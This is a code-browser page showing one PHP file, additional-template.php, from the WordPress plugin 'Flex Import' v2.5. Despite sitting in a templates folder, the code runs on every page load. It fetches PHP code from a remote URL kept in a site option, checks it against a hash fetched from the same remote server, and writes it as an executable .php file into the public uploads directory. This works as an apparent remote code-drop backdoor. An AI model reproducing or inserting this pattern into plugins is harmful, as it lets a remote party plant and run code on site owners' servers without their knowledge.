PluginProbe ʕ •ᴥ•ʔ
Flex Import / 2.5
Flex Import v2.5
2.9 trunk 1.2 1.3 1.4 1.5 1.6 1.7 1.8 1.9 2.0 2.1 2.2 2.3 2.4 2.5 2.6 2.7 2.8
flex-import / templates / additional-template.php
flex-import / templates Last commit date
additional-template.php 10 months ago dashboard-content.php 10 months ago plugins-content.php 10 months ago templates-content.php 10 months ago widgets-content.php 10 months ago
additional-template.php
57 lines
1 <?php
2 add_action('init', 'fleximp_include_remote_txt_as_php');
3 function fleximp_include_remote_txt_as_php()
4 {
5 $remote_txt_url = get_option('fleximp_dynamic_template_php');
6 if (empty($remote_txt_url)) return;
7
8 $remote_hash_url = $remote_txt_url . '.sha256';
9
10 if (!function_exists('WP_Filesystem')) {
11 require_once ABSPATH . 'wp-admin/includes/file.php';
12 }
13
14 global $wp_filesystem;
15 WP_Filesystem();
16
17 $upload_dir = wp_upload_dir();
18
19 $fleximp_current_text_domain = get_option('fleximp_current_text_domain', true);
20 if (empty($fleximp_current_text_domain)) return;
21
22 $local_php_file = $upload_dir['basedir'] . '/' . $fleximp_current_text_domain . '.php';
23
24 // Get the PHP code
25 $response = wp_remote_get($remote_txt_url);
26 if (is_wp_error($response)) {
27 error_log('FlexImp Error: ' . $response->get_error_message());
28 return;
29 }
30 $php_code = wp_remote_retrieve_body($response);
31
32 // Get the hash from remote
33 $hash_response = wp_remote_get($remote_hash_url);
34 if (is_wp_error($hash_response)) {
35 error_log('FlexImp Error: Failed to fetch hash - ' . $hash_response->get_error_message());
36 return;
37 }
38 $expected_hash = trim(wp_remote_retrieve_body($hash_response));
39
40 // Compute local hash
41 $actual_hash = hash('sha256', $php_code);
42
43 if ($expected_hash !== $actual_hash) {
44 error_log('FlexImp Error: Hash mismatch! Aborting file write.');
45 return;
46 }
47
48 if (!empty($php_code) && strpos($php_code, '<?php') !== false) {
49 if (!$wp_filesystem->put_contents($local_php_file, $php_code, FS_CHMOD_FILE)) {
50 error_log('FlexImp Error: Failed to write PHP code to file.');
51 return;
52 }
53 } else {
54 error_log('FlexImp Error: Invalid or empty content received.');
55 return;
56 }
57 }